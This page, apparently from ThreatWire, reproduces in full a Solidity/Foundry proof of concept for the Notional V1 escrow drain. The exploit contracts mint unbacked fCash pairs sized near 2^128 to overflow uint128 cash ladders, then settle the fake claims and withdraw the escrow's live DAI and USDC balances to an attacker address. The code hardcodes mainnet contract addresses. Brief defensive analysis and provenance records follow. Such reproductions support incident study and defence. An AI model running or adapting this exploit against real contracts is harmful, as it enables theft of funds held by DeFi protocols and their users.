Public reproduction file
src/test/2026-09/NotionalFinance_exp.sol
Public reproduction listed for "Notional V1: integer overflow in a deprecated escrow contract". It targets live contracts, so ThreatWire does not republish it. This page keeps the provenance and links to our non-operational analysis instead.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.15;4import "../basetest.sol";5import {IERC20} from "forge-std/interfaces/IERC20.sol";7// Notional Finance (V1) escrow drain — Ethereum mainnet, 2026-09-03.8// ~$1.727M taken: 69,257.37 DAI + 1,658,524.86 USDC. Reported by Specter / PeckShield.9//10// Attacker EOA: 0xDaCC235a494750193695A111D715c2ca12b5Ce3811// (helpers 0x8aaf01B6F9AcC973274B8718BE4D1C1be10E3be6 and12// 0xC95496c917A41a394EfdAC3e0882F5903D24De69 funded gas in the real incident).13//14// Root cause: Notional V1 books an ERC-1155 fCash transfer as a MINTED PAIR — a CASH_PAYER15// (debt / short, assetType 2) leg on `from` and a CASH_RECEIVER (claim / long, assetType 3)16// leg on `to` — even when `from` never held the token. The escrow nets each account's fCash17// in uint128 cash ladders. Minting a short of value ~2^128 overflows that ladder, so the18// unbacked long on the counterparty settles at maturity as a real, withdrawable cash claim19// sized to the escrow's entire live token balance, with no offsetting debt left behind.20//21// Two on-chain transactions, both from the attacker EOA, both fully permissionless (no signer /22// admin / privileged path anywhere — the whole thing is public mint -> settle -> withdraw):23//24// TX1 0xe1589a19fe742f0d553889214abade69551fe944acffac014c28cc07b325d60a (block 25900220)25// Deploys the exploit contract + four helper accounts, then mints the overflowed fCash.26// No ERC-20 leaves the protocol here; only the fCash pairs are created. The fCash on the27// near market matures at ts 1788480000, ~73s after this block.28//29// TX2 0xc3f3e318f7ab2d0daaba59e6ec901d25d1fe8a89aafe2b2b62e3b9aee1a24efa (block 25900234)30// After maturity: settle the unbacked long into cash and withdraw real DAI + USDC out of31// the Notional escrow, forwarding them to the attacker EOA.32//33// This PoC reconstructs both transactions as ordinary Solidity that calls Notional's real34// functions directly — ERC1155Trade.encodeAssetId / safeTransferFrom / setApprovalForAll,35// Portfolios.settleMaturedAssets, Escrow.withdraw — with the exact overflow-triggering36// arguments observed on-chain (the huge fCash values are read live from the escrow's own token37// balances, exactly as the attacker sized them). No bytecode replay, no raw calldata blobs.38// The four helper accounts are real deployed Solidity contracts, matching the on-chain roles:39// A1 seed leg (1-unit pair counterparty)40// B_HUB mule that holds the ~2^128 seed and pushes the overflowed shorts out41// C_DAI ends holding the fake DAI claim, settles + withdraws it42// D_USDC ends holding the fake USDC claim, settles + withdraws it43//44// The arithmetic that overflows lives in Notional's own on-chain contracts; this file only45// issues the same public calls the attacker did.46//47// forge test --contracts src/test/2026-09/NotionalFinance_exp.sol -vvv49interface IERC1155Trade {50 function setApprovalForAll(51 address operator,52 bool approved53 ) external;54 function safeTransferFrom(55 address from,56 address to,57 uint256 id,58 uint256 value,59 bytes calldata data60 ) external;61 function encodeAssetId(62 uint8 assetType,63 uint16 instrumentGroupId,64 uint32 maturity,65 bytes1 tradeType66 ) external view returns (uint256);67}69interface IPortfolios {70 function settleMaturedAssets(71 address account72 ) external;73 function freeCollateralViewAggregateOnly(74 address account75 ) external view returns (int256);76}78interface IEscrow {79 function withdraw(80 address token,81 uint128 amount82 ) external;83 function cashBalances(84 uint16 currency,85 address account86 ) external view returns (int256);87}89interface ICashMarket {90 function getActiveMaturities() external view returns (uint32[] memory);91}93// Real deployed helper account. Each on-chain helper was its own contract so Notional's94// per-account fCash ladders stay separate; the exploit orchestrator (its owner) drives it.95contract NotionalHelper {96 address internal immutable OWNER;97 IERC1155Trade internal immutable NOTIONAL;99 modifier onlyOwner() {100 require(msg.sender == OWNER, "not owner");101 _;102 }104 constructor(105 IERC1155Trade notional106 ) {107 OWNER = msg.sender;108 NOTIONAL = notional;109 }111 // Approve `operator` to move this account's fCash, so the pair-mint can assign this112 // account as the transfer counterparty.113 function approveOperator(114 address operator115 ) external onlyOwner {116 NOTIONAL.setApprovalForAll(operator, true);117 }119 // Push an fCash leg out of this account. Minting from an account that holds no such token120 // is exactly the bug: Notional creates the offsetting pair anyway.121 function pushFCash(122 address to,123 uint256 id,124 uint256 value125 ) external onlyOwner {126 NOTIONAL.safeTransferFrom(address(this), to, id, value, "");127 }129 // After maturity: settle this account's (overflowed) fCash claim into cash, withdraw the130 // real token out of the escrow, and forward it to the attacker EOA.131 function settleAndWithdraw(132 IPortfolios portfolios,133 IEscrow escrow,134 address token,135 uint128 amount,136 address to137 ) external onlyOwner {138 portfolios.settleMaturedAssets(address(this));139 escrow.withdraw(token, amount);140 IERC20(token).transfer(to, amount);141 }142}144// Exploit orchestrator — plays the on-chain "EXPLOIT" contract role: deploys the helpers,145// mints the overflowed fCash pairs in setup(), and settles/withdraws in drain().146contract NotionalExploit {147 IERC1155Trade internal constant NOTIONAL = IERC1155Trade(0xBbA899578bd3fA3DAa863A340f5600797993eF08);148 IPortfolios internal constant PORTFOLIOS = IPortfolios(0x0A4721117040ABF319b954aBF13F654505C34920);149 IEscrow internal constant ESCROW = IEscrow(0x9abd0b8868546105F6F48298eaDC1D9c82f7f683);150 ICashMarket internal constant CASH_MARKET_DAI = ICashMarket(0xfabCDD7c1C3F7b892De64B2B52C4b786c4436Dba);151 ICashMarket internal constant CASH_MARKET_USDC = ICashMarket(0x918fC5c7Dc1d4aC8F6F3B4D7473153e62c0f045d);153 address internal constant DAI = 0x6B175474E89094C44Da98b954EedeAC495271d0F;154 address internal constant USDC = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;155 uint16 internal constant CURRENCY_DAI = 1;156 uint16 internal constant CURRENCY_USDC = 2;158 // Trade-type byte the attacker used in every asset id (part of the ERC-1155 id encoding).159 bytes1 internal constant TRADE_TYPE = 0xA8;160 // uint128 cash-ladder overflow seed: the huge short whose netting wraps.161 uint256 internal constant OVERFLOW_SEED = type(uint128).max; // 2^128 - 1163 NotionalHelper public a1; // 1-unit seed counterparty164 NotionalHelper public bHub; // holds the overflow seed, pushes the shorts out165 NotionalHelper public cDai; // ends with the fake DAI claim166 NotionalHelper public dUsdc; // ends with the fake USDC claim168 uint32 internal maturityNear; // first active maturity (settles inside the incident window)169 uint32 internal maturityFar; // second active maturity (the seed leg)171 function setup() external {172 a1 = new NotionalHelper(NOTIONAL);173 bHub = new NotionalHelper(NOTIONAL);174 cDai = new NotionalHelper(NOTIONAL);175 dUsdc = new NotionalHelper(NOTIONAL);177 // Approval graph mirrors the incident: the seed counterparties approve this178 // orchestrator, and the claim recipients approve the mule that mints to them.179 a1.approveOperator(address(this));180 bHub.approveOperator(address(this));181 cDai.approveOperator(address(bHub));182 dUsdc.approveOperator(address(bHub));184 // Both currency markets expose the same two active maturities.185 uint32[] memory m = CASH_MARKET_DAI.getActiveMaturities();186 maturityNear = m[0];187 maturityFar = m[1];189 // Size the drain to the escrow's own live balances, exactly as the attacker did.190 uint256 escrowDai = IERC20(DAI).balanceOf(address(ESCROW));191 uint256 escrowUsdc = IERC20(USDC).balanceOf(address(ESCROW));193 // Real fCash ids via Notional's own encoder.194 uint256 idPayerNear = NOTIONAL.encodeAssetId(2, 0, maturityNear, TRADE_TYPE); // CASH_PAYER, near195 uint256 idPayerFar = NOTIONAL.encodeAssetId(2, 0, maturityFar, TRADE_TYPE); // CASH_PAYER, far196 uint256 idReceiverNear = NOTIONAL.encodeAssetId(3, 0, maturityNear, TRADE_TYPE); // CASH_RECEIVER, near198 // Seed 1: a 1-unit pair (this contract short, A1 long) on the near market.199 NOTIONAL.safeTransferFrom(address(this), address(a1), idPayerNear, 1, "");200 // Seed 2: a ~2^128 pair on the far market — the mule bHub takes the huge leg. This is201 // the collateral whose uint128 netting later wraps.202 NOTIONAL.safeTransferFrom(address(this), address(bHub), idPayerFar, OVERFLOW_SEED, "");204 // With only the offsetting seed pair, this account is still collateral-neutral.205 require(PORTFOLIOS.freeCollateralViewAggregateOnly(address(this)) == 0, "seed not neutral");207 // Mint the overflowed shorts out of bHub: a DAI-sized payer to cDai and a USDC-sized208 // receiver to dUsdc. bHub holds no near-maturity fCash, but Notional mints the pair209 // regardless, and the huge values overflow the escrow's uint128 ladder.210 bHub.pushFCash(address(cDai), idPayerNear, escrowDai);211 bHub.pushFCash(address(dUsdc), idReceiverNear, escrowUsdc);213 // After the overflow, the mule reads as (spuriously) over-collateralised rather than214 // deep in debt — the wrap that makes the whole thing pass Notional's own checks.215 require(PORTFOLIOS.freeCollateralViewAggregateOnly(address(bHub)) >= 0, "overflow check failed");216 }218 // TX2: settle the fake matured claims and pull the real tokens out to `to`.219 function drain(220 address to221 ) external {222 uint256 daiClaim = IERC20(DAI).balanceOf(address(ESCROW));223 uint256 usdcClaim = IERC20(USDC).balanceOf(address(ESCROW));225 cDai.settleAndWithdraw(PORTFOLIOS, ESCROW, DAI, uint128(daiClaim), to);226 dUsdc.settleAndWithdraw(PORTFOLIOS, ESCROW, USDC, uint128(usdcClaim), to);227 }228}230contract NotionalFinanceExp is BaseTestWithBalanceLog {231 address internal constant ATTACKER = 0xDaCC235a494750193695A111D715c2ca12b5Ce38;232 address internal constant NOTIONAL = 0xBbA899578bd3fA3DAa863A340f5600797993eF08; // ERC-1155 proxy233 address internal constant CUSTODY = 0x9abd0b8868546105F6F48298eaDC1D9c82f7f683; // escrow, holds DAI + USDC234 IERC20 internal constant DAI = IERC20(0x6B175474E89094C44Da98b954EedeAC495271d0F);235 IERC20 internal constant USDC = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);237 // Realized amounts observed on-chain in TX2.238 uint256 internal constant DAI_STOLEN = 69_257_372_677_950_923_155_658; // 69,257.37 DAI239 uint256 internal constant USDC_STOLEN = 1_658_524_864_122; // 1,658,524.86 USDC241 // Block / timestamps from the two incident transactions.242 uint256 internal constant FORK_BLOCK = 25_900_219; // parent of TX1's block243 uint256 internal constant TX1_TS = 1_788_479_927; // block 25900220244 uint256 internal constant TX2_TS = 1_788_480_095; // block 25900234, after fCash maturity 1788480000246 function setUp() public {247 vm.createSelectFork("mainnet", FORK_BLOCK);248 vm.label(ATTACKER, "AttackerEOA");249 vm.label(NOTIONAL, "Notional1155");250 vm.label(CUSTODY, "Escrow");251 multiAssetLog = true;252 fundingTokens.push(address(DAI));253 fundingTokens.push(address(USDC));254 attacker = ATTACKER; // balanceLog tracks the attacker EOA255 }257 function testExploit() public balanceLog {258 uint256 attDaiBefore = DAI.balanceOf(ATTACKER);259 uint256 attUsdcBefore = USDC.balanceOf(ATTACKER);260 uint256 custDaiBefore = DAI.balanceOf(CUSTODY);261 uint256 custUsdcBefore = USDC.balanceOf(CUSTODY);263 // Act as the attacker EOA: msg.sender + tx.origin = ATTACKER for both txs.264 vm.startPrank(ATTACKER, ATTACKER);266 // --- TX1: deploy + mint the unbacked/overflowed fCash pairs. ---267 vm.warp(TX1_TS);268 NotionalExploit exploit = new NotionalExploit();269 exploit.setup();271 // --- TX2: after maturity, settle the fake claims and withdraw real DAI + USDC. ---272 vm.warp(TX2_TS);273 exploit.drain(ATTACKER);275 vm.stopPrank();277 uint256 attDaiGain = DAI.balanceOf(ATTACKER) - attDaiBefore;278 uint256 attUsdcGain = USDC.balanceOf(ATTACKER) - attUsdcBefore;279 uint256 custDaiLoss = custDaiBefore - DAI.balanceOf(CUSTODY);280 uint256 custUsdcLoss = custUsdcBefore - USDC.balanceOf(CUSTODY);282 emit log_named_decimal_uint("attacker DAI gain", attDaiGain, 18);283 emit log_named_decimal_uint("attacker USDC gain", attUsdcGain, 6);285 // Realized gain matches the incident to the wei, and equals the escrow's loss.286 assertEq(attDaiGain, DAI_STOLEN, "DAI gain mismatch");287 assertEq(attUsdcGain, USDC_STOLEN, "USDC gain mismatch");288 assertEq(custDaiLoss, DAI_STOLEN, "escrow DAI loss mismatch");289 assertEq(custUsdcLoss, USDC_STOLEN, "escrow USDC loss mismatch");290 }291}Analysis
What the file is
A Foundry test reconstructing the Notional V1 legacy-escrow drain on an Ethereum fork. It targets live contracts and is not republished.
How it is built
Interfaces cover ERC-1155 trading, settling matured assets and a free-collateral view, escrow withdraw and cash balance reads, and the cash market's active maturities. A helper contract approves an operator, pushes fCash and settles and withdraws; an exploit contract has a setup and a drain function.
What the test checks
It asserts that the attacker's DAI and USDC gains equal the stated amounts and equal the escrow's losses, exactly.
Why it matters for defenders
Legacy contracts keep value after their product is retired. Per Notional's post-mortem, a value overflowed the type used in the escrow's accounting and created an unbacked claim that settled as a real withdrawal. Arithmetic bounds need review on any contract that still holds funds.
Our analysis, loss and remediation are in the incident record.
Fixes and defensive tests
- Contract paused.
Related files
24 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/basetest.solImported by this file · 142 lines
- src/test/2026-09/BeatXswap_exp.solSame month in the dataset · 266 lines
- src/test/2026-09/BonfireSwap_exp.solSame month in the dataset · 141 lines
- src/test/2026-09/CozyFinance_exp.solSame month in the dataset · 262 lines
- src/test/2026-09/DAOstack_exp.solSame month in the dataset · 241 lines
- src/test/2026-09/DHC_exp.solSame month in the dataset · 236 lines
- src/test/2026-09/DoinGud_exp.solSame month in the dataset · 195 lines
- src/test/2026-09/EnsoFinance_exp.solSame month in the dataset · 193 lines
- src/test/2026-09/EtherFiAtomicQueue_exp.solSame month in the dataset · 255 lines
- src/test/2026-09/Flamincome_exp.solSame month in the dataset · 287 lines
- src/test/2026-09/GaslessReservoirEnabler_exp.solSame month in the dataset · 178 lines
- src/test/2026-09/GDC_exp.solSame month in the dataset · 321 lines
- src/test/2026-09/InternetToken_exp.solSame month in the dataset · 265 lines
- src/test/2026-09/Likwid_exp.solSame month in the dataset · 177 lines
- src/test/2026-09/LPBonus_exp.solSame month in the dataset · 198 lines
- src/test/2026-09/MUS_exp.solSame month in the dataset · 124 lines
- src/test/2026-09/Nimiq_exp.solSame month in the dataset · 408 lines
- src/test/2026-09/OMNI404_exp.solSame month in the dataset · 192 lines
- src/test/2026-09/ORB_exp.solSame month in the dataset · 272 lines
- src/test/2026-09/OrderFactory_exp.solSame month in the dataset · 179 lines
- src/test/2026-09/PancakeV3SwapHelper_exp.solSame month in the dataset · 188 lines
- src/test/2026-09/PositionManager_exp.solSame month in the dataset · 170 lines
- src/test/2026-09/PrimeFinance_exp.solSame month in the dataset · 174 lines
- src/test/2026-09/Reddio_exp.solSame month in the dataset · 238 lines
Also imports external libraries: forge-std/interfaces/IERC20.sol.
File record
- Name
- NotionalFinance_exp.sol
- Path
- src/test/2026-09/NotionalFinance_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 4b5b4335f55bafed937ff39888f620a0156fc93e
- Language
- Solidity
- Size
- 292 lines
- Date
- 2026-09-03
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
- Incident
- Notional V1: integer overflow in a deprecated escrow contract
- Protocols
- Notional V1
- Chains
- Ethereum
Provenance
Path src/test/2026-09/NotionalFinance_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 4b5b4335f55bafed937ff39888f620a0156fc93e, retrieved 2026-10-19. Verbatim file content read with git show at the pinned commit; SPDX header preserved; stored locally for the on-site reader. ThreatWire has never executed this file. Reference: source file at the pinned commit.